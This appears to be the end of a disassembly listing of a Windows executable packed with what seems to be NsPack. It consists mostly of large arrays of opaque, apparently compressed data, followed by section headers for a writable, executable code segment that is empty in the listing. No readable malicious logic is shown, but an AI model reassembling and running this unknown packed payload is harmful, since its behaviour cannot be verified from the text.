		dd 0B0B8ADE0h, 3A5BD224h, 4933B76Bh, 0D7DA21A5h, 32209443h
		dd 0A29219F9h, 1CAFD6E8h, 48F377E8h, 0DB6B39A1h, 0C1A12650h
		dd 99CE6336h, 0CE92C900h, 86E7724Eh, 4728167h, 0DC1FE4E4h
		dd 4220A6CFh, 8C2C39FCh, 3CB74711h, 7E27EB20h, 0F54986CBh
		dd 0DB09D738h, 0C9FB12A7h, 0A9BA91D0h, 73ACBB7Ah, 0C63F10B3h
		dd 51B79795h, 7A204AEh,	8EA21456h, 0B5E2FB77h, 3777FBF4h
		dd 84B0CF7Ah, 685151Eh,	0D806EC35h, 0D70EF92Fh,	5DD00F17h
		dd 0C0849441h, 9FBFC4Ah, 67DCB14Ch, 690E5E53h, 0A2D2B1E7h
		dd 0F8E4DB94h, 738632F1h, 9BD15F2Ah, 1BFC9F92h,	39B0CDA5h
		dd 4DB07E24h, 1F808ABFh, 946F1BE4h, 0C9B5A5A2h,	882F55A0h
		dd 65109598h, 2D443803h, 7C4DCB5h, 0FE250D40h, 0DD657733h
		dd 2C58A1AAh, 21C47F9Bh, 9294253Ch, 0B16DB0AEh,	381038A5h
		dd 68EC2298h, 5C1AB5AEh, 6413120Eh, 981A32A1h, 90B5FFA9h
		dd 867DD51Bh, 4A323461h, 36A3607Bh, 0A3963EF6h,	8A60C145h
		dd 0EF91D87Eh, 0F6677420h, 4C291E04h, 239E5B51h, 939A06DFh
		dd 0C1CF32D1h, 28857495h, 8FF69185h, 7AD59A9h, 15E7EC3Ch
		dd 37C14F09h, 8C0B3FF8h, 0D33D6D2Ch, 0FC1B359h,	1F8DBE77h
		dd 85FF5DD8h, 18BB7D2Ah, 0ABDE743h, 526D9064h, 36A1CDAAh
		dd 0C28B75C9h, 0A4E80EEBh, 36EB9581h, 0A73ED751h, 0F6F713EDh
		dd 0EC27AC6Bh, 10DBB362h, 402342DCh, 74AC24BCh,	0B985DA8Ch
		dd 0D05B01A1h, 62BA2992h, 5A29EFC7h, 79117B59h,	4B5A0479h
		dd 0C50EDC88h, 0AA9A2A86h, 5D8945B0h, 0B462FC1Eh, 57F5A3FCh
		dd 34A33CBDh, 33A18B95h
		dd 0B85520C7h, 0B156B800h, 55D116F3h, 0EB519716h, 2118EA30h
		dd 796CF213h, 8D45A4E3h, 90B29D81h, 0F654F391h,	0CC05EA05h
		dd 62123203h, 0B75F9B1Dh, 6A492EFEh, 0D20114F5h, 0CE1BAEh
		dd 0E6C3D6Fh, 0A8447FC6h, 28D5471Ch, 0F336CC7Dh, 8113BB1h
		dd 0F8BF537Eh, 0EF89C60Bh, 7C0CD23Fh, 9A03BB2Eh, 4057BBF3h
		dd 0C0F021A9h, 0D96E1EFEh, 0C59C0257h, 6BE6CEE4h, 6EA2D87Ch
		dd 51BAED36h, 7BADD763h, 5816E611h, 73EB4B1Ch, 8AD2DB81h
		dd 0D162D43Bh, 36BC951h, 366900B1h, 54F660FFh, 6EF2813Ch
		dd 80DF0034h, 0EBEE7CE5h, 3B0B3A4h, 0FD6DFC72h,	0C76EF061h
		dd 0CD67B02Bh, 58E74089h, 0CEB306C9h, 0B6E70878h, 253EDCC8h
		dd 0A2932131h, 0DBF43472h, 0D513EFF1h, 0BE447220h, 0B04E57B2h
		dd 6EAAB0A6h, 7863A657h, 24F4B6FAh, 59F14F26h, 53554773h
		dd 82F7BFFFh, 0E8D077BEh, 0FEDFAB62h, 0B2199F59h, 973BAC28h
		dd 0D1B914DCh, 0B2FFEF6Fh, 8392856Eh, 247AE775h, 0B18CFB68h
		dd 0C4662632h, 0D2D08976h, 835A641Ch, 0C7727AE4h, 0E2EFCCB4h
		dd 4202F2B7h, 1807BA71h, 0C2B2AD4Bh, 0D81DF5ACh, 0CAA6C597h
		dd 2AE0B47Eh, 44397698h, 3009A996h, 4823C115h, 0AB4691BAh
		dd 37E37487h, 0D51F5AB0h, 0E7A1E58Eh, 0C5EDE523h, 1AE402BEh
		dd 1CCEC21Fh, 0D429F238h, 0AF3D5E92h, 88C07094h, 0F7148F23h
		dd 58186D5Bh, 0AEE7A246h, 77A3BE51h, 35D109E4h,	34F8D782h
		dd 84DFEC39h, 0C1F03BBEh, 38476C78h, 0EA7B13DFh, 7AF59943h
		dd 0DB92495Fh, 0AB31D0B3h, 0BB1CA4DBh, 4976ACF5h, 0A0796480h
		dd 9F32283h, 0B059C11Ch, 0D38D3810h, 2E7C26DBh,	4977E11Fh
		dd 89CC2B4Fh, 99B20EA6h, 0A284073h, 7A356667h, 3A09149h
		dd 5BBABA00h, 620DE4F6h, 453721E0h, 0FCB163Dh, 5453F0ECh
		dd 9CEAF200h, 0ACF33B15h, 0F85549CEh, 3C479CAAh, 27AB4BC9h
		dd 3616006Ch, 238CD318h, 0BCE2BC2Ah, 1F61E111h,	8F319BEAh
		dd 0C4049652h, 0CA52AE05h, 765B5FDEh, 651E93DFh, 19FC9ED5h
		dd 1E94948Eh, 1DD36A1Ah, 6F2FAC94h, 4795E99Ah, 0CDD7C0C2h
		dd 67077EC2h, 1C141434h, 9096F30Fh, 0F2DB45C2h,	0FE34523Dh
		dd 0D6535DF0h, 596156A3h, 562C23C9h, 0E3803A76h, 0E85FA5C1h
		dd 41841B31h, 0EF346A57h, 0BBC1110Ch, 7C20A70Bh, 0E56C4F24h
		dd 0F4119A43h, 0A7EC739Bh, 0BA2B3DB4h, 0AC52F7CCh, 92514CDDh
		dd 32408295h, 79B60995h, 45BB327Ah, 63CF2046h, 0ED9150ECh
		dd 9FD0EBECh, 0CED881E5h, 959F1527h, 752F5557h,	0E4562C12h
		dd 0B44B3EE3h, 0AB9DC872h, 629A6257h, 125CCCE4h, 13E5C634h
		dd 490243E3h, 30518EE0h, 66605B06h, 783D87E6h, 121AF17Ch
		dd 1271F015h, 33FC94ACh, 0BEE78775h, 7AC25AC5h,	5538AFF6h
		dd 4A8840BAh, 0DE4D7594h, 0D1CB22A5h, 0EE3C658Eh, 0C017C2EDh
		dd 91EFFF51h, 1BDDFF6Ch, 0C1C4271Ah, 8AA624Dh, 0DDAE4696h
		dd 9B743DDEh, 60B5A50Ah, 7A6D5FBDh, 62363880h, 68E22033h
		dd 8177651Ch, 18FB0E3Dh, 0EC4CCA7Fh, 3921DDBEh,	0A7DD61DFh
		dd 0F27A5997h, 9A6E23DFh, 2882DCA8h, 0A2EE96E0h, 0D66D78A4h
		dd 45A16625h, 4A0CFEB2h, 2EC72BAFh, 0BD006209h,	0C66ED57Eh
		dd 58479293h, 11AB4079h, 6F01A8E7h, 6DE1A02Fh, 770F840Dh
		dd 0AB23BF0Ah, 0EF0C47C2h, 0EA25A8B0h, 5DC56157h, 0F471776h
		dd 0ACE24E88h, 0A066F336h, 883E8F63h, 42AAEA43h, 0D8F78575h
		dd 363AA44Ah, 6F89221Ah, 6013CABCh, 7F226EE4h, 0B6CEF43Ch
		dd 0AFEBEFC4h, 63E9A150h, 0BEE56864h, 0F43D964Fh, 0AD3B5E40h
		dd 34AEC306h, 10377375h, 0BFE6F079h, 34DC78AAh,	78F04F37h
		dd 0EDC49AB7h, 8A418AE2h, 0E09F7D5Dh, 9C13E4FDh, 0E12EEC8Ch
		dd 0ED12CAA2h, 0D40D2619h, 0C3544319h, 60B8387Fh, 0ADC40529h
		dd 0F3A065B2h, 7745911Dh, 491735Fh, 753160F2h, 43E9B471h
		dd 0A432703Fh, 1984833Dh, 6EC2158h, 6AFE226Bh, 0BF98CFE8h
		dd 731FFA20h, 9ECBAA45h, 57248D74h, 643EC3F2h, 7FC3B452h
		dd 81FE8E52h, 4AD5F792h, 0F5241C2Dh, 0D7E14BACh, 0B4E03453h
		dd 5A9BD7BAh, 0B2DE7CAAh, 0BC7CF60Dh, 57D3AF3h,	4CF71046h
		dd 314D1B44h, 3C16029Dh, 0CA7E4268h, 17855381h,	372376AFh
		dd 0FA10DD1Ah, 0BA5C46B0h, 10AE5314h, 0D414EDECh, 0D9216D02h
		dd 0F83102A6h, 1CD3181Bh, 0EA572FF3h, 37860F7Ah, 7921906Eh
		dd 246C7DB6h, 6B7D7795h, 0B4824EE9h, 525BAB2h, 0F6EA5EEAh
		dd 64FDD694h, 1C8C6C66h, 5EACF63Bh, 8768EFBAh, 0BBE74441h
		dd 373F3C99h, 6477D223h, 0DB4AC436h, 78ADAE83h,	0F4179365h
		dd 0C8E8F214h, 0DDB56BE2h, 7F8537BEh, 0C7C4CBCBh, 618D3F36h
		dd 0C168AD7Eh, 0BBD8FA95h, 0D8C931E5h, 0E7F8C6C9h, 0EA61A4E7h
		dd 414DE8E1h, 6F37103Dh, 25597FD4h, 2F80F37Ah, 0B3280FA8h
		dd 4343248Bh, 522EB3EAh, 9BF5F6E9h, 0FFFF6B41h,	0B60813BFh
		dd 9CCA9E31h, 0D68DE0EFh, 6A0BA6ABh, 9B5AD329h,	0E3B4B7AAh
		dd 73460F48h, 0BA41BCD5h, 227B57B8h, 0EAA1D695h, 0CF7E58A0h
		dd 0A90EBCDFh, 62307458h, 362948E4h, 0CF89D2AAh, 751AA78Eh
		dd 5228067Ah, 8858AAA9h, 8E1EE808h, 8F863DF7h, 0AED6B6FFh
		dd 14AD498Bh, 7BDB30BBh, 0EAB4A560h, 0E8A9949h,	0C856657Dh
		dd 0C628BF90h, 31D8CFA8h, 0DCC82642h, 7220CE0Ah, 6B3585B8h
		dd 0DFAB7D18h, 4F29C5BDh, 67D42D87h, 0ABFD00A6h, 0C154D621h
		dd 0E520387Ah, 0CF7C4DCh, 59358215h, 38961AC6h,	7199FC54h
		dd 0A7ED006Bh, 0B7B39E4Dh, 97AE407h, 318F18Dh, 0ACA76EF0h
		dd 66949DF7h, 0FF94FF6Dh, 58629B65h, 0F0C5BFCDh, 0F5E9A305h
		dd 8D13CC3Dh, 13496849h, 9BFE535Eh, 0FCBAC414h,	0D433C1Bh
		dd 0CF03965h, 457807F4h, 2E361457h, 134EE458h, 0C7849081h
		dd 32944B88h, 6606AD79h, 0B72B5081h, 1D926FF7h,	0FFCEBC5Eh
		dd 5EDE12A5h, 0D192FA24h, 0FAD48105h, 0C4E46F3Dh, 2AC6956Eh
		dd 761D1960h, 0CCE137DAh, 5A9532EDh, 0BDEBD0DAh, 8B838F9Fh
		dd 47E3270Dh, 0B0D5F42Bh, 0A406712Ch, 0EB800786h, 0EACB76B3h
		dd 0F03B6C2h, 0EF8F7841h, 87646E3Dh, 69822A88h,	9FFA9C3Bh
		dd 0D6ACF2C1h, 0BA987B4Bh, 0D73BE6Ch, 0A99A703Dh, 3F5213DFh
		dd 0FCADC2B0h, 13D3C41Fh, 0B0C96D43h, 31451680h, 6C3BC460h
		dd 3CD9B943h, 48994268h, 411684F1h, 0A81F0CCFh,	253C552Ah
		dd 0E00D1454h, 824464FFh, 0B22B941Ah, 62258762h, 0B838D7BBh
		dd 1861A64Eh, 0CB378F42h, 35BBAED3h, 0BC35E983h, 0C98765AEh
		dd 0BF212A21h, 0CECC7EEAh, 0CF84D80Dh, 0D0863BE7h, 0D09EE579h
		dd 0FF8C8F30h, 7321AD66h, 13C6AF02h, 7EFE2B73h,	0FBFE9EBCh
		dd 80B29C12h, 8C48E430h, 0A3007673h, 220E9556h,	64229B15h
		dd 3A256F0Ah, 880461FCh, 59DA3298h, 0CD29BA4Fh,	0D9D38F38h
		dd 0F5C8434Dh, 364CBF57h, 0A3FF9165h, 0DF5D7928h, 2BCD6415h
		dd 0BE90F9FAh, 41D5B84Bh, 868E45ECh, 81BBCEAFh,	5619A89h
		dd 98A42ECh, 0F6FDAA82h, 3E2FE96Ah, 28B7404Dh, 5198A688h
		dd 0AB3F412Dh, 8343864Dh, 520E580Eh, 3E951E54h,	3B4519Dh
		dd 0A55E1F26h, 0B4B6360Fh, 0EA0A0588h, 0D0CCB056h, 8A0BEC5h
		dd 0EBD48540h, 724FB0C4h, 17BE064Ah, 3E03E59Eh,	26E52339h
		dd 0A84CA021h, 13566E56h, 2F366005h, 2CC75CE2h,	9A72C0E1h
		dd 0ABB14181h, 84C26C8Dh, 9F608BE6h, 5B9CEE77h,	91550AD6h
		dd 0DB170032h, 1C4248B0h, 0C82137D7h, 2F5D25F8h, 0C2D00278h
		dd 14D868FEh, 662F700Eh
		dd 6EF928E1h, 9AB1F043h, 14E5A437h, 6B23C84h, 84D46324h
		dd 0D6071DC2h, 0F7CC8E87h, 13F9F233h, 24F4BE33h, 0DE5263DCh
		dd 0DE0484DCh, 8C67450Bh, 53E86A9Eh, 68FB21B8h,	0C8E4FE9Bh
		dd 0E52E1A27h, 8C9897F6h, 6ECB3E6Ch, 1C75652Eh,	9E64B88Eh
		dd 0EBDEE3E1h, 0EB8398AAh, 96545151h, 89F19C0Dh, 0B57AF953h
		dd 0F8D64811h, 2065142Eh, 0AC6DF258h, 15E0BE86h, 36D2BEB4h
		dd 149DB461h, 2DAA8E1Fh, 84F528D5h, 0C0880A17h,	1684ECF6h
		dd 0F59022FEh, 82677ADDh, 42CB463Eh, 0A386D37Ah, 0E4A91418h
		dd 10573938h, 0F68539B2h, 0A1DF5DC0h, 0FC08D0FEh, 0DFDC0C89h
		dd 0BE6F456Dh, 3D6F2AE6h, 5A7B479Dh, 1F4BCC02h,	0D2D0C393h
		dd 0AD5E7130h, 76C9100Ah, 0F08EEDCFh, 6A132EEDh, 4F3B3522h
		dd 0E2FE61D8h, 2A0EFCBDh, 0A8BDE5E8h, 33A8289Ch, 8D14DC32h
		dd 8634C5ECh, 0C0191A98h, 7D11F078h, 0CC3E40CAh, 9D160127h
		dd 8899AC4Ah, 1752469Bh, 36C3FF38h, 0CDE39231h,	0EA61A780h
		dd 3D9AD1A1h, 0CB755311h, 0B862E56Fh, 0C52CD4E8h, 0A8E020DEh
		dd 4FA028FAh, 0B17FD632h, 0AE9F69CEh, 0EFB5B44Eh, 94E096CFh
		dd 49B28F46h, 327BCF60h, 0F186B8A5h, 9A94CF78h,	0FD53504Ch
		dd 9221675Ah, 0F0D34F3Ch, 0D4113A8Dh, 6157CE62h, 28B59DA1h
		dd 6E860845h, 3E0740E2h, 67A268C7h, 0B420DF95h,	6E0F39C7h
		dd 9D71D747h, 7AAC22DAh, 5BB928C6h, 59E9D195h, 0FACFA12Fh
		dd 0CC3BF5Bh, 0CF958433h, 466FCE99h, 334D1D4Ch,	52573079h
		dd 0EF07CF44h, 0D731BD36h, 1D21396h, 0E388D907h, 85E1F9F2h
		dd 0DCC52824h, 0EC972735h, 9458B8AEh, 1A4FB182h, 315D210h
		dd 2370EACh, 0DFECAE40h, 8F11A110h, 30B9F9B2h, 0AD3A4696h
		dd 87D01159h, 46BCD377h, 0DB5DE3C6h, 0B8D10A25h, 8DCED2EBh
		dd 68390C4Ah, 0FB31C1D4h, 7282729Eh, 1642A62Bh,	4E6BBB17h
		dd 55BE4A73h, 0B0FFC324h, 0AF770170h, 0Ch, 164h	dup(0)
_nsp1		ends

; Section 3. (virtual address 00139000)
; Virtual size			: 00000DC6 (   3526.)
; Section size in file		: 00000DC6 (   3526.)
; Offset to raw	data for section: 00139000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp2		segment	para public 'CODE' use32
		assume cs:_nsp2
		;org 539000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 371h	dup(0)
		db 2 dup(0)
		dw ?
		dd 0Eh dup(?)
_nsp2		ends

; Section 4. (virtual address 0013A000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00139E00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 53A000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start